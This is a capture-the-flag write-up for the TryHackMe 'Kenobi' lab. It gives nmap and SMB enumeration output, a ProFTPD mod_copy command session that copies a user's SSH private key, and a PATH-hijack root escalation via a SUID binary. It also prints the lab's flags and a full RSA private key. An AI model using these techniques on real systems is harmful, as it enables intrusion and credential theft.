Kenobi(THM)

nmap

```
nmap 10.10.124.239 -A -T4 -p21,22,80,111,139,445,2049
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-15 15:41 EDT
Nmap scan report for 10.10.124.239
Host is up (0.45s latency).

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.5
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA)
|   256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA)
|_  256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/admin.html
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
111/tcp  open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100003  2,3,4       2049/udp   nfs
|   100003  2,3,4       2049/udp6  nfs
|   100005  1,2,3      43039/tcp6  mountd
|   100005  1,2,3      47889/tcp   mountd
|   100005  1,2,3      51416/udp   mountd
|   100005  1,2,3      54615/udp6  mountd
|   100021  1,3,4      38411/tcp   nlockmgr
|   100021  1,3,4      39915/tcp6  nlockmgr
|   100021  1,3,4      50864/udp   nlockmgr
|   100021  1,3,4      60587/udp6  nlockmgr
|   100227  2,3         2049/tcp   nfs_acl
|   100227  2,3         2049/tcp6  nfs_acl
|   100227  2,3         2049/udp   nfs_acl
|_  100227  2,3         2049/udp6  nfs_acl
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp open  nfs_acl     2-3 (RPC #100227)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 3.13 (95%), Linux 5.4 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Sony Android TV (Android 5.0) (92%), Android 5.0 - 6.0.1 (Linux 3.4) (92%), Android 5.1 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h40m00s, deviation: 2h53m13s, median: 0s
|_nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: kenobi
|   NetBIOS computer name: KENOBI\x00
|   Domain name: \x00
|   FQDN: kenobi
|_  System time: 2021-03-15T14:41:51-05:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2021-03-15T19:41:51
|_  start_date: N/A

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   193.15 ms 10.4.0.1
2   ... 3
4   449.06 ms 10.10.124.239

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.75 seconds
```

notes

1- Smb is our way in
2- port 138,445
3- using enum4linux,found 3 shares

```
  ==========================================
|    Share Enumeration on 10.10.124.239    |
 ==========================================

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        anonymous       Disk
        IPC$            IPC       IPC Service (kenobi server (Samba, Ubuntu))
```

4-now loging in anonymous share using smbclient   #smbclient //ip/anonymous(share name)
5-got a log file
6-now we know that there is a mountable drive /var available on machine
7-we abuse a proftpd exploit which allows us to to copy files from a machine to mountable drive
8- we copy kenobi's private ssh keys from his home directory to our mountable(/var)
9- ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution   ## (Refer to ssh keys section)
10- User flag is “d0b0f3f53b6caa532a83915e19224899”
11- after that we see some suid binaries and /usr/bin/menu is weird
12- upon seeing it and seeing its functionality,we see that it uses curl binary and it doesnt use complete binary path so we can maniplute path
13- we do   echo /bin/sh > curl
14- then we give it 777 permission
15- then we add our current working directory in $PATH(environment variables)
      export PATH=/CURRENTDIR:$PATH
16-then we run the menu binary and press 1(which utilizes curl binary)

```
##
kenobi@kenobi:~$ echo /bin/sh > curl
kenobi@kenobi:~$ chmod 777 curl
kenobi@kenobi:~$ export PATH=/home/kenobi:$PATH
kenobi@kenobi:~$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
# id
uid=0(root) gid=1000(kenobi) groups=1000(kenobi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
# whoami
root

##
```

17- We get root
18- root flag is 177b3cd8562289f37382721c28381f02

smbclient

on anonymous share in smb server ,we got a log.txt file

```
#LOG.TXT

Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa):
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
+---[RSA 2048]----+
|                 |
|           ..    |
|        . o. .   |
|       ..=o +.   |
|      . So.o++o. |
|  o ...+oo.Bo*o  |
| o o ..o.o+.@oo  |
|  . . . E .O+= . |
|     . .   oBo.  |
+----[SHA256]-----+

# This is a basic ProFTPD configuration file (rename it to
# 'proftpd.conf' for actual use.  It establishes a single server
# and a single anonymous login.  It assumes that you have a user/group
# "nobody" and "ftp" for normal operation and anon.

ServerName                      "ProFTPD Default Installation"
ServerType                      standalone
DefaultServer                   on

# Port 21 is the standard FTP port.
Port                            21

# Don't use IPv6 support by default.
UseIPv6                         off

# Umask 022 is a good standard umask to prevent new dirs and files
# from being group and world writable.
Umask                           022

# To prevent DoS attacks, set the maximum number of child processes
# to 30.  If you need to allow more than 30 concurrent connections
# at once, simply increase this value.  Note that this ONLY works
# in standalone mode, in inetd mode you should use an inetd server
# that allows you to limit maximum number of processes per service
# (such as xinetd).
MaxInstances                    30

# Set the user and group under which the server will run.
User                            kenobi
Group                           kenobi

# To cause every FTP user to be "jailed" (chrooted) into their home
# directory, uncomment this line.
#DefaultRoot ~

# Normally, we want files to be overwriteable.
AllowOverwrite          on
```

```
# Bar use of SITE CHMOD by default
<Limit SITE_CHMOD>
  DenyAll
</Limit>

# A basic anonymous configuration, no upload directories.  If you do not
# want anonymous users, simply delete this entire <Anonymous> section.
<Anonymous ~ftp>
  User                          ftp
  Group                         ftp

  # We want clients to be able to login with "anonymous" as well as "ftp"
  UserAlias                     anonymous ftp

  # Limit the maximum number of anonymous logins
  MaxClients                    10

  # We want 'welcome.msg' displayed at login, and '.message' displayed
  # in each newly chdired directory.
  DisplayLogin                  welcome.msg
  DisplayChdir                  .message

  # Limit WRITE everywhere in the anonymous chroot
  <Limit WRITE>
    DenyAll
  </Limit>
</Anonymous>
#
# Sample configuration file for the Samba suite for Debian GNU/Linux.
#
#
# This is the main Samba configuration file. You should read the
# smb.conf(5) manual page in order to understand the options listed
# here. Samba has a huge number of configurable options most of which
# are not shown in this example
#
# Some options that are often worth tuning have been included as
# commented-out examples in this file.
#  - When such options are commented with ";", the proposed setting
#    differs from the default Samba behaviour
#  - When commented with "#", the proposed setting is the default
#    behaviour of Samba but the option is considered important
#    enough to be mentioned here
#
# NOTE: Whenever you modify this file you should run the command
# "testparm" to check that you have not made any basic syntactic
# errors.

#======================= Global Settings =======================

[global]

## Browsing/Identification ###

# Change this to the workgroup/NT-domain name your Samba server will part of
   workgroup = WORKGROUP

# server string is the equivalent of the NT Description field
        server string = %h server (Samba, Ubuntu)

# Windows Internet Name Serving Support Section:
# WINS Support - Tells the NMBD component of Samba to enable its WINS Server
#   wins support = no

# WINS Server - Tells the NMBD components of Samba to be a WINS Client
# Note: Samba can be either a WINS Server, or a WINS Client, but NOT both
;   wins server = w.x.y.z

# This will prevent nmbd to search for NetBIOS names through DNS.
   dns proxy = no

#### Networking ####
```

```
# The specific set of interfaces / networks to bind to
# This can be either the interface name or an IP address/netmask;
# interface names are normally preferred
;   interfaces = 127.0.0.0/8 eth0

# Only bind to the named interfaces and/or networks; you must use the
# 'interfaces' option above to use this.
# It is recommended that you enable this feature if your Samba machine is
# not protected by a firewall or is a firewall itself.  However, this
# option cannot handle dynamic or non-broadcast interfaces correctly.
;   bind interfaces only = yes



#### Debugging/Accounting ####

# This tells Samba to use a separate log file for each machine
# that connects
   log file = /var/log/samba/log.%m

# Cap the size of the individual log files (in KiB).
   max log size = 1000

# If you want Samba to only log through syslog then set the following
# parameter to 'yes'.
#   syslog only = no

# We want Samba to log a minimum amount of information to syslog. Everything
# should go to /var/log/samba/log.{smbd,nmbd} instead. If you want to log
# through syslog you should set the following parameter to something higher.
   syslog = 0

# Do something sensible when Samba crashes: mail the admin a backtrace
   panic action = /usr/share/samba/panic-action %d


####### Authentication #######

# Server role. Defines in which mode Samba will operate. Possible
# values are "standalone server", "member server", "classic primary
# domain controller", "classic backup domain controller", "active
# directory domain controller".
#
# Most people will want "standalone sever" or "member server".
# Running as "active directory domain controller" will require first
# running "samba-tool domain provision" to wipe databases and create a
# new domain.
   server role = standalone server

# If you are using encrypted passwords, Samba will need to know what
# password database type you are using.
   passdb backend = tdbsam

   obey pam restrictions = yes

# This boolean parameter controls whether Samba attempts to sync the Unix
# password with the SMB password when the encrypted SMB password in the
# passdb is changed.
   unix password sync = yes

# For Unix password sync to work on a Debian GNU/Linux system, the following
# parameters must be set (thanks to Ian Kahan <<kahan@informatik.tu-muenchen.de> for
# sending the correct chat script for the passwd program in Debian Sarge).
   passwd program = /usr/bin/passwd %u
   passwd chat = *Enter\snew\s*\spassword:* %n\n *Retype\snew\s*\spassword:* %n\n *password\supdated\ssuccessfully* .

# This boolean controls whether PAM will be used for password changes
# when requested by an SMB client instead of the program listed in
# 'passwd program'. The default is 'no'.
   pam password change = yes
```

```
# This option controls how unsuccessful authentication attempts are mapped
# to anonymous connections
   map to guest = bad user

########## Domains ###########

#
# The following settings only takes effect if 'server role = primary
# classic domain controller', 'server role = backup domain controller'
# or 'domain logons' is set
#

# It specifies the location of the user's
# profile directory from the client point of view) The following
# required a [profiles] share to be setup on the samba server (see
# below)
;   logon path = \\%N\profiles\%U
# Another common choice is storing the profile in the user's home directory
# (this is Samba's default)
#   logon path = \\%N\%U\profile

# The following setting only takes effect if 'domain logons' is set
# It specifies the location of a user's home directory (from the client
# point of view)
;   logon drive = H:
#   logon home = \\%N\%U

# The following setting only takes effect if 'domain logons' is set
# It specifies the script to run during logon. The script must be stored
# in the [netlogon] share
# NOTE: Must be store in 'DOS' file format convention
;   logon script = logon.cmd

# This allows Unix users to be created on the domain controller via the SAMR
# RPC pipe.  The example command creates a user account with a disabled Unix
# password; please adapt to your needs
; add user script = /usr/sbin/adduser --quiet --disabled-password --gecos "" %u

# This allows machine accounts to be created on the domain controller via the
# SAMR RPC pipe.
# The following assumes a "machines" group exists on the system
; add machine script  = /usr/sbin/useradd -g machines -c "%u machine account" -d /var/lib/samba -s /bin/false %u

# This allows Unix groups to be created on the domain controller via the SAMR
# RPC pipe.
; add group script = /usr/sbin/addgroup --force-badname %g

############ Misc ############

# Using the following line enables you to customise your configuration
# on a per machine basis. The %m gets replaced with the netbios name
# of the machine that is connecting
;   include = /home/samba/etc/smb.conf.%m

# Some defaults for winbind (make sure you're not using the ranges
# for something else.)
;   idmap uid = 10000-20000
;   idmap gid = 10000-20000
;   template shell = /bin/bash

# Setup usershare options to enable non-root users to share folders
# with the net usershare command.

# Maximum number of usershare. 0 (default) means that usershare is disabled.
;   usershare max shares = 100

# Allow users who've been granted usershare privileges to create
# public shares, not just authenticated ones
   usershare allow guests = yes

#======================= Share Definitions =======================
# Un-comment the following (and tweak the other settings below to suit)
# to enable the default home directory shares. This will share each
# user's home directory as \\server\username
;[homes]
;   comment = Home Directories
;   browseable = no

# By default, the home directories are exported read-only. Change the
# next parameter to 'no' if you want to be able to write to them.
;   read only = yes

# File creation mask is set to 0700 for security reasons. If you want to
# create files with group=rw permissions, set next parameter to 0775.
;   create mask = 0700

# Directory creation mask is set to 0700 for security reasons. If you want to
# create dirs. with group=rw permissions, set next parameter to 0775.
;   directory mask = 0700

# By default, \\server\username shares can be connected to by anyone
# with access to the samba server.
# Un-comment the following parameter to make sure that only "username"
# can connect to \\server\username
# This might need tweaking when using external authentication schemes
;   valid users = %S

# Un-comment the following and create the netlogon directory for Domain Logons
# (you need to configure Samba to act as a domain controller too.)
;[netlogon]
;   comment = Network Logon Service
;   path = /home/samba/netlogon
;   guest ok = yes
;   read only = yes

# Un-comment the following and create the profiles directory to store
# users profiles (see the "logon path" option above)
# (you need to configure Samba to act as a domain controller too.)
# The path below should be writable by all users so that their
# profile directory may be created the first time they log on
;[profiles]
;   comment = Users profiles
;   path = /home/samba/profiles
;   guest ok = no
;   browseable = no
;   create mask = 0600
;   directory mask = 0700

[printers]
   comment = All Printers
   browseable = no
   path = /var/spool/samba
   printable = yes
   guest ok = no
   read only = yes
   create mask = 0700

# Windows clients look for this share name as a source of downloadable
# printer drivers
[print$]
   comment = Printer Drivers
   path = /var/lib/samba/printers
   browseable = yes
   read only = yes
   guest ok = no
# Uncomment to allow remote administration of Windows print drivers.
# You may need to replace 'lpadmin' with the name of the group your
# admin users are members of.
# Please note that you also need to set appropriate Unix permissions
# to the drivers directory for these users to have write rights in it
;   write list = root, @lpadmin
[anonymous]
   path = /home/kenobi/share
   browseable = yes
   read only = yes
   guest ok = yes
```

ssh keys abusing mount

connected to port 21 using nc and we know we can abuse its functionalities like SITES CPFR to copy files from machine to a mountable drive and then mount that drive to our machine and access the files we wanted.
got kenobis keys by copying his keys from /home/kenobi/.ssh/id_rsa   to   /var which is mountable drive :}}}

```
nc 10.10.124.239 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.124.239]
help
214-The following commands are recognized (* =>'s unimplemented):
 CWD     XCWD    CDUP    XCUP    SMNT*   QUIT    PORT    PASV
 EPRT    EPSV    ALLO*   RNFR    RNTO    DELE    MDTM    RMD
 XRMD    MKD     XMKD    PWD     XPWD    SIZE    SYST    HELP
 NOOP    FEAT    OPTS    AUTH*   CCC*    CONF*   ENC*    MIC*
 PBSZ*   PROT*   TYPE    STRU    MODE    RETR    STOR    STOU
 APPE    REST    ABOR    USER    PASS    ACCT*   REIN*   LIST
 NLST    STAT    SITE    MLSD    MLST
214 Direct comments to root@kenobi
dir
500 DIR not understood
ls
500 LS not understood
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful
421 Login timeout (300 seconds): closing control connection
```

Now make a dir in /mnt from where we will access our mounted drive
got kenobis keys by copying his keys from /home/kenobi/.ssh/id_rsa   to   /var which is mountable drive :}}}

#kenobi ssh keys

```
-----BEGIN RSA PRIVATE KEY–----
MIIEowIBAAKCAQEA4PeD0e0522UEj7xlrLmN68R6iSG3HMK/aTI812CTtzM9gnXs
qpweZL+GJBB59bSG3RTPtirC3M9YNTDsuTvxw9Y/+NuUGJIq5laQZS5e2RaqI1nv
U7fXEQlJrrlWfCy9VDTlgB/KRxKerqc42aU+/BrSyYqImpN6AgoNm/s/753DEPJt
dwsr45KFJOhtaIPA4EoZAq8pKovdSFteeUHikosUQzgqvSCv1RH8ZYBTwslxSorW
y3fXs5GwjitvRnQEVTO/GZomGV8UhjrT3TKbPhiwOy5YA484Lp3ES0uxKJEnKdSt
otHFT4i1hXq6T0CvYoaEpL7zCq7udl7KcZ0zfwIDAQABAoIBAEDl5nc28kviVnCI
ruQnG1P6eEb7HPIFFGbqgTa4u6RL+eCa2E1XgEUcIzxgLG6/R3CbwlgQ+entPssJ
dCDztAkE06uc3JpCAHI2Yq1ttRr3ONm95hbGoBpgDYuEF/j2hx+1qsdNZHMgYfqM
bxAKZaMgsdJGTqYZCUdxUv++eXFMDTTw/h2SCAuPE2Nb1f1537w/UQbB5HwZfVry
tRHknh1hfcjh4ZD5x5Bta/THjjsZo1kb/UuX41TKDFE/6+Eq+G9AvWNC2LJ6My36
YfeRs89A1Pc2XD08LoglPxzR7Hox36VOGD+95STWsBViMlk2lJ5IzU9XVlt3EnCl
bUI7DNECgYEA8ZymxvRV7yvDHHLjw5Vj/puVlQnKtadmE9H9UtfGV8gI/NddE66e
t8uIhiydcxE/u8DZd+mPt1RMU9GeUT5WxZ8MpO0UPVPIRiSBHnyu+0tolZSLqVul
rwT/nMDCJGQNaSOb2kq+Y3DJBHhlOeTsxAi2YEwrK9hPFQ5btlQichMCgYEA7l0c
dd1mwrjZ51lWWXvQzOH0PZH/diqXiTgwD6F1sUYPAc4qZ79blloeIhrVlj+isvtq
mgG2GD0TWueNnddGafwlp3USIxZOcw+e5hHmxy0KHpqstbPZc99IUQ5UBQHZYCvl
SR+ANdNuWpRTD6gWeVqNVni9wXjKhiKM17p3RmUCgYEAp6dwAvZg+wl+5irC6WCs
dmw3WymUQ+DY8D/ybJ3Vv+vKcMhwicvNzvOo1JH433PEqd/0B0VGuIwCOtdl6DI9
u/vVpkvsk3Gjsyh5gFI8iZuWAtWE5Av4OC5bwMXw8ZeLxr0y1JKw8ge9NSDl/Pph
YNY61y+DdXUvywifkzFmhYkCgYB6TeZbh9XBVg3gyhMnaQNzDQFAUlhM7n/Alcb7
TjJQWo06tOlHQlWi+Ox7PV9c6l/2DFDfYr9nYnc67pLYiWwE16AtJEHBJSHtofc7
P7Y1PqPxnhW+SeDqtoepp3tu8kryMLO+OF6Vv73g1jhkUS/u5oqc8ukSi4MHHlU8
H94xjQKBgExhzreYXCjK9FswXhUU9avijJkoAsSbIybRzq1YnX0gSewY/SB2xPjF
S40wzYviRHr/h0TOOzXzX8VMAQx5XnhZ5C/WMhb0cMErK8z+jvDavEpkMUlR+dWf
Py/CLlDCU4e+49XBAPKEmY4DuN+J2Em/tCz7dzfCNS/mpsSEn0jo
-----END RSA PRIVATE KEY–----
```